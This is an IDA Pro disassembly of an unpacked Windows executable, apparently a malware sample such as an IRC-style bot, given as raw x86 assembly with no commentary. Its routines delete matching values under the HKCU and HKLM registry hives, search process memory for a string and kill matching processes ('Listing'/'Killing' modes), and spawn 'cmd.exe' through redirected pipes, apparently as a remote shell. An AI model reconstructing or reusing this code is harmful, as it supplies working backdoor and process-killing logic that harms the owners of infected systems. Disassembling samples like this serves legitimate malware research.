;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2A6ECBA7A861831C187F47B54D6E6CF1

; File Name   :	u:\work\2a6ecba7a861831c187f47b54d6e6cf1_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0002D000 ( 184320.)
; Section size in file		: 0002D000 ( 184320.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_packed		segment	para public 'CODE' use32
		assume cs:_packed
		;org 401000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401146+31p
					; sub_401146+43p ...

var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40101A
; ---------------------------------------------------------------------------


loc_401013:				; CODE XREF: sub_401000+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40101A:				; CODE XREF: sub_401000+11j
		mov	eax, [ebp+var_4]
		cmp	off_418000[eax*4], 0
		jz	loc_401141
		mov	eax, [ebp+var_4]
		push	off_418000[eax*4]
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_110]
		push	eax
		push	3
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		call	dword_417008
		and	[ebp+var_220], 0
		jmp	short loc_401081
; ---------------------------------------------------------------------------


loc_401074:				; CODE XREF: sub_401000:loc_40112Bj
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_401081:				; CODE XREF: sub_401000+72j
		mov	[ebp+var_21C], 104h
		mov	[ebp+var_224], 104h
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		lea	eax, [ebp+var_21C]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_220]
		push	[ebp+var_110]
		call	dword_417000
		mov	[ebp+var_264], eax
		cmp	[ebp+var_264], 0
		jz	short loc_4010DD
		jmp	short loc_401130
; ---------------------------------------------------------------------------


loc_4010DD:				; CODE XREF: sub_401000+D9j
		cmp	[ebp+var_114], 1
		jnz	short loc_40112B
		push	[ebp+arg_4]
		push	[ebp+var_224]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_268], eax
		cmp	[ebp+var_268], 0
		jz	short loc_40112B
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_110]
		call	dword_417004
		test	eax, eax
		jnz	short loc_40112B
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40112B:				; CODE XREF: sub_401000+E4j
					; sub_401000+10Bj ...
		jmp	loc_401074
; ---------------------------------------------------------------------------


loc_401130:				; CODE XREF: sub_401000+DBj
		push	[ebp+var_110]
		call	dword_417028
		jmp	loc_401013
; ---------------------------------------------------------------------------


loc_401141:				; CODE XREF: sub_401000+25j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401146	proc near		; CODE XREF: sub_401244+459p
					; sub_40A9CF+A72p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	80h
		push	[ebp+arg_0]
		call	dword_4170A8
		test	eax, eax
		jnz	short loc_401166
		jmp	locret_401242
; ---------------------------------------------------------------------------


loc_401166:				; CODE XREF: sub_401146+19j
		push	[ebp+arg_0]
		call	dword_4170AC
		push	[ebp+arg_0]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	locret_401242
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_10C], eax
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------


loc_4011CE:				; CODE XREF: sub_401146:loc_40121Aj
		mov	eax, [ebp+var_10C]
		dec	eax
		mov	[ebp+var_10C], eax


loc_4011DB:				; CODE XREF: sub_401146+86j
		cmp	[ebp+var_10C], 0
		jz	short loc_40121C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10C]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 5Ch
		jnz	short loc_40121A
		push	104h
		mov	eax, [ebp+var_10C]
		lea	eax, [ebp+eax+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40121C
; ---------------------------------------------------------------------------


loc_40121A:				; CODE XREF: sub_401146+AEj
		jmp	short loc_4011CE
; ---------------------------------------------------------------------------


loc_40121C:				; CODE XREF: sub_401146+9Cj
					; sub_401146+D2j
		lea	eax, [ebp+var_108]
		push	eax
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx

locret_401242:				; CODE XREF: sub_401146+1Bj
					; sub_401146+56j
		leave
		retn
sub_401146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401244	proc near		; DATA XREF: sub_4017AA+9Do

var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= byte ptr -3CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= byte ptr -2A8h
var_2A7		= dword	ptr -2A7h
var_2A3		= byte ptr -2A3h
var_1A3		= byte ptr -1A3h
var_B		= byte ptr -0Bh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3E8h
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2AC]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_40129D
		lea	eax, [ebp+var_2A3]
		push	eax
		mov	eax, [ebp+var_2AC]
		push	dword ptr [eax]
		push	offset dword_418144
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40129D:				; CODE XREF: sub_401244+34j
		call	sub_406041
		mov	[ebp+var_2B4], eax
		cmp	[ebp+var_2B4], 0
		jnz	short loc_4012C4
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4017A4
; ---------------------------------------------------------------------------


loc_4012C4:				; CODE XREF: sub_401244+6Bj
		push	10000h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_2B8], eax
		and	[ebp+var_2BC], 0
		and	[ebp+var_2B0], 0
		jmp	short loc_4012F2
; ---------------------------------------------------------------------------


loc_4012E5:				; CODE XREF: sub_401244+E2j
					; sub_401244+12Bj ...
		mov	eax, [ebp+var_2B0]
		inc	eax
		mov	[ebp+var_2B0], eax


loc_4012F2:				; CODE XREF: sub_401244+9Fj
		mov	eax, [ebp+var_2B4]
		mov	ecx, [ebp+var_2B0]
		cmp	ecx, [eax]
		jge	loc_401710
		mov	esi, [ebp+var_2B0]
		imul	esi, 114h
		mov	eax, [ebp+var_2B4]
		mov	edi, [eax+4]
		call	dword_4170E8
		cmp	[edi+esi], eax
		jnz	short loc_401328
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------


loc_401328:				; CODE XREF: sub_401244+E0j
		push	104h
		lea	eax, [ebp+var_3CC]
		push	eax
		push	0
		call	dword_41708C
		push	eax
		call	dword_417090
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_401374
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401374:				; CODE XREF: sub_401244+129j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		movzx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		add	eax, 11h
		push	eax
		call	dword_417094
		mov	[ebp+var_2C4], eax
		cmp	[ebp+var_2C4], 0
		jnz	short loc_4013B7
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_4013B7:				; CODE XREF: sub_401244+16Cj
		and	[ebp+var_2C0], 0
		and	[ebp+var_2C8], 0


loc_4013C5:				; CODE XREF: sub_401244:loc_4016FAj
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		cmp	eax, 10000h
		jbe	short loc_4013F7
		mov	[ebp+var_3E8], 10000h
		jmp	short loc_40141C
; ---------------------------------------------------------------------------


loc_4013F7:				; CODE XREF: sub_401244+1A5j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		mov	[ebp+var_3E8], eax


loc_40141C:				; CODE XREF: sub_401244+1B1j
		mov	eax, [ebp+var_3E8]
		mov	[ebp+var_3D0], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_3D0]
		push	[ebp+var_2B8]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_2C4]
		call	dword_417098
		mov	[ebp+var_3D4], eax
		cmp	[ebp+var_3D4], 0
		jz	loc_4016C5
		cmp	[ebp+var_2C8], 0
		jz	loc_4016C5
		and	[ebp+var_3D8], 0
		and	[ebp+var_3DC], 0


loc_401495:				; DATA XREF: .packed:0041AD00o
		jmp	short loc_4014A4
; ---------------------------------------------------------------------------


loc_401497:				; CODE XREF: sub_401244:loc_4015DBj
		mov	eax, [ebp+var_3DC]
		inc	eax
		mov	[ebp+var_3DC], eax


loc_4014A4:				; CODE XREF: sub_401244:loc_401495j
		mov	eax, [ebp+var_2C8]
		sub	eax, [ebp+var_2A7]
		cmp	[ebp+var_3DC], eax
		ja	loc_4015E0
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	loc_4015DB


loc_401514:				; CODE XREF: sub_401244+290j
					; sub_401244+2ADj
		mov	[ebp+var_3E0], 1
		jmp	short loc_40152D
; ---------------------------------------------------------------------------


loc_401520:				; CODE XREF: sub_401244:loc_4015D6j
		mov	eax, [ebp+var_3E0]
		inc	eax
		mov	[ebp+var_3E0], eax


loc_40152D:				; CODE XREF: sub_401244+2DAj
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		test	eax, eax
		jnz	short loc_401556
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		mov	[ebp+var_3D8], eax
		jmp	loc_40179F
; ---------------------------------------------------------------------------


loc_401556:				; CODE XREF: sub_401244+2F9j
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]


loc_401584:				; DATA XREF: sub_43A34F+B0w
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		jmp	short loc_4015DB
; ---------------------------------------------------------------------------


loc_4015D6:				; CODE XREF: sub_401244+338j
					; sub_401244+363j ...
		jmp	loc_401520
; ---------------------------------------------------------------------------


loc_4015DB:				; CODE XREF: sub_401244+2CAj
					; sub_401244+390j
		jmp	loc_401497
; ---------------------------------------------------------------------------


loc_4015E0:				; CODE XREF: sub_401244+272j
					; sub_401244:loc_40179Fj
		cmp	[ebp+var_3D8], 0
		jz	loc_4016C5
		mov	eax, [ebp+var_2BC]
		inc	eax
		mov	[ebp+var_2BC], eax
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401675
		push	3E8h
		call	dword_41709C
		mov	al, [ebp+var_B]
		mov	[ebp+var_3E4], al
		and	[ebp+var_B], 0
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_41811C
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		mov	al, [ebp+var_3E4]
		mov	[ebp+var_B], al
		jmp	short loc_4016A3
; ---------------------------------------------------------------------------


loc_401675:				; CODE XREF: sub_401244+3BFj
		push	0
		push	[ebp+var_2C4]
		call	dword_4170A0
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_401146
		pop	ecx


loc_4016A3:				; CODE XREF: sub_401244+42Fj
		mov	eax, [ebp+var_2AC]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4016C0
		push	[ebp+var_2C4]
		call	dword_4170A4
		jmp	loc_40179A
; ---------------------------------------------------------------------------


loc_4016C0:				; CODE XREF: sub_401244+469j
		jmp	loc_401795
; ---------------------------------------------------------------------------


loc_4016C5:				; CODE XREF: sub_401244+230j
					; sub_401244+23Dj ...
		mov	eax, [ebp+var_2C0]
		add	eax, [ebp+var_3D0]
		mov	[ebp+var_2C0], eax
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_2C0]
		cmp	edx, [ecx+eax+8]
		jnz	short loc_4016FA
		jmp	short loc_4016FF
; ---------------------------------------------------------------------------


loc_4016FA:				; CODE XREF: sub_401244+4B2j
		jmp	loc_4013C5
; ---------------------------------------------------------------------------


loc_4016FF:				; CODE XREF: sub_401244+4B4j
					; sub_401244:loc_401795j
		push	[ebp+var_2C4]
		call	dword_4170A4
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401710:				; CODE XREF: sub_401244+BCj
					; sub_401244:loc_40179Aj
		push	[ebp+var_2B4]
		call	sub_40636E
		pop	ecx
		push	[ebp+var_2B8]
		call	sub_416B4C
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401785
		push	3E8h
		call	dword_41709C
		cmp	[ebp+var_2BC], 0
		jnz	short loc_401764
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_4180F8
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_401785
; ---------------------------------------------------------------------------


loc_401764:				; CODE XREF: sub_401244+501j
		lea	eax, [ebp+var_2A3]
		push	eax
		push	[ebp+var_2BC]
		push	offset dword_4180CC
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_401785:				; CODE XREF: sub_401244+4EDj
					; sub_401244+51Ej
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_4017A4
; ---------------------------------------------------------------------------


loc_401795:				; CODE XREF: sub_401244:loc_4016C0j
		jmp	loc_4016FF
; ---------------------------------------------------------------------------


loc_40179A:				; CODE XREF: sub_401244+477j
		jmp	loc_401710
; ---------------------------------------------------------------------------


loc_40179F:				; CODE XREF: sub_401244+30Dj
		jmp	loc_4015E0
; ---------------------------------------------------------------------------


loc_4017A4:				; CODE XREF: sub_401244+7Bj
					; sub_401244+54Fj
		pop	edi
		pop	esi
		leave
		retn	4
sub_401244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017AA	proc near		; CODE XREF: sub_40A9CF+AA1p
					; sub_40A9CF+AD2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_4017C2
		push	[ebp+arg_4]
		call	sub_416B40
		pop	ecx
		test	eax, eax
		jnz	short loc_4017C7


loc_4017C2:				; CODE XREF: sub_4017AA+9j
		jmp	locret_401854
; ---------------------------------------------------------------------------


loc_4017C7:				; CODE XREF: sub_4017AA+16j
		push	2ACh
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4017DD
		jmp	short locret_401854
; ---------------------------------------------------------------------------


loc_4017DD:				; CODE XREF: sub_4017AA+2Fj
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax+4], cl
		push	[ebp+arg_4]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+5], eax
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 9
		push	eax
		call	sub_416B58
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 109h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_401830
		mov	[ebp+var_8], offset aListing ; "Listing"
		jmp	short loc_401837
; ---------------------------------------------------------------------------


loc_401830:				; CODE XREF: sub_4017AA+7Bj
		mov	[ebp+var_8], offset aKilling ; "Killing"


loc_401837:				; CODE XREF: sub_4017AA+84j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	offset dword_418174
		push	0
		push	[ebp+var_4]
		push	offset sub_401244
		call	sub_4095A4
		add	esp, 18h

locret_401854:				; CODE XREF: sub_4017AA:loc_4017C2j
					; sub_4017AA+31j
		leave
		retn
sub_4017AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401856	proc near		; CODE XREF: sub_401981+A8p
					; sub_401981+E1p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41DF04, 0FFFFFFFFh
		jz	short loc_40186E
		push	dword_41DF04
		call	dword_4170A4


loc_40186E:				; CODE XREF: sub_401856+Aj
		cmp	dword_41DEF8, 0FFFFFFFFh
		jz	short loc_401883
		push	dword_41DEF8
		call	dword_4170A4


loc_401883:				; CODE XREF: sub_401856+1Fj
		cmp	dword_41DEFC, 0FFFFFFFFh
		jz	short loc_401898
		push	dword_41DEFC
		call	dword_4170A4


loc_401898:				; CODE XREF: sub_401856+34j
		cmp	dword_41DF00, 0FFFFFFFFh
		jz	short loc_4018AD
		push	dword_41DF00
		call	dword_4170A4


loc_4018AD:				; CODE XREF: sub_401856+49j
		pop	ebp
		retn
sub_401856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018AF	proc near		; CODE XREF: sub_401981+28Ap
					; sub_401981+395p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jnz	short loc_4018D4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401922


loc_4018D4:				; CODE XREF: sub_4018AF+15j
					; sub_4018AF:loc_401920j
		push	32h
		call	dword_41709C
		mov	eax, [ebp+arg_0]


loc_4018DF:				; DATA XREF: .RLPack:0043A674o
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jz	short loc_4018FE
		call	sub_416B64
		sub	eax, dword_41DF0C
		cmp	eax, 1F4h
		jb	short loc_4018FE
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_4018FE:				; CODE XREF: sub_4018AF+39j
					; sub_4018AF+4Bj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401920
		call	sub_416B64
		sub	eax, dword_41DF0C
		cmp	eax, 0FAh
		jb	short loc_401920
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_401920:				; CODE XREF: sub_4018AF+5Bj
					; sub_4018AF+6Dj
		jmp	short loc_4018D4
; ---------------------------------------------------------------------------


loc_401922:				; CODE XREF: sub_4018AF+23j
					; sub_4018AF+4Dj ...
		call	sub_416B64
		mov	dword_41DF0C, eax
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_401942
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_401957


loc_401942:				; CODE XREF: sub_4018AF+86j
		push	offset dword_4181A4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E
		pop	ecx
		pop	ecx
		jmp	short loc_40196E
; ---------------------------------------------------------------------------


loc_401957:				; CODE XREF: sub_4018AF+91j
		push	200h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_40196E:				; CODE XREF: sub_4018AF+A6j
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		leave
		retn
sub_4018AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401981	proc near		; DATA XREF: sub_401D6E+88o

var_730		= dword	ptr -730h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_714		= dword	ptr -714h
var_510		= byte ptr -510h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_334		= dword	ptr -334h
var_330		= word ptr -330h
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= byte ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= byte ptr -30Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 730h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_714]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		call	sub_416B64
		sub	eax, 1F4h
		mov	dword_41DF0C, eax
		push	0
		lea	eax, [ebp+var_30C]
		push	eax
		push	104h
		push	0
		push	offset aCmd_exe	; "cmd.exe"
		push	0
		call	dword_41706C
		test	eax, eax
		jnz	short loc_4019ED
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_4019ED:				; CODE XREF: sub_401981+57j
		mov	[ebp+var_318], 0Ch
		mov	[ebp+var_310], 1
		and	[ebp+var_314], 0
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417070
		test	eax, eax
		jnz	short loc_401A41
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A41:				; CODE XREF: sub_401981+A6j
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_728]
		push	eax
		call	dword_417070
		test	eax, eax
		jnz	short loc_401A7A
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A7A:				; CODE XREF: sub_401981+DFj
		push	3
		push	0
		push	0
		push	offset dword_41DF00
		call	dword_417074
		push	eax
		push	[ebp+var_36C]
		call	dword_417074
		push	eax
		call	dword_4170F0
		test	eax, eax
		jnz	short loc_401ABB
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: sub_401981+120j
		push	10h
		push	0
		lea	eax, [ebp+var_724]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	[ebp+var_360], 44h
		mov	[ebp+var_334], 101h
		and	[ebp+var_330], 0
		mov	eax, [ebp+var_728]
		mov	[ebp+var_328], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_324], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_320], eax
		lea	eax, [ebp+var_724]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset byte_41DF10
		lea	eax, [ebp+var_30C]
		push	eax
		call	dword_41707C
		test	eax, eax
		jnz	short loc_401B69
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401B69:				; CODE XREF: sub_401981+1CEj
		push	[ebp+var_728]
		call	dword_4170A4
		mov	eax, [ebp+var_364]
		mov	dword_41DF04, eax
		mov	eax, [ebp+var_36C]
		mov	dword_41DEF8, eax
		mov	eax, [ebp+var_724]
		mov	dword_41DEFC, eax
		push	[ebp+var_720]
		call	dword_4170A4
		and	[ebp+var_4], 0
		and	[ebp+var_208], 0


loc_401BAD:				; CODE XREF: sub_401981+2E9j
					; sub_401981+39Cj
		mov	eax, [ebp+var_714]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401BBE
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401BBE:				; CODE XREF: sub_401981+236j
		and	[ebp+var_208], 0
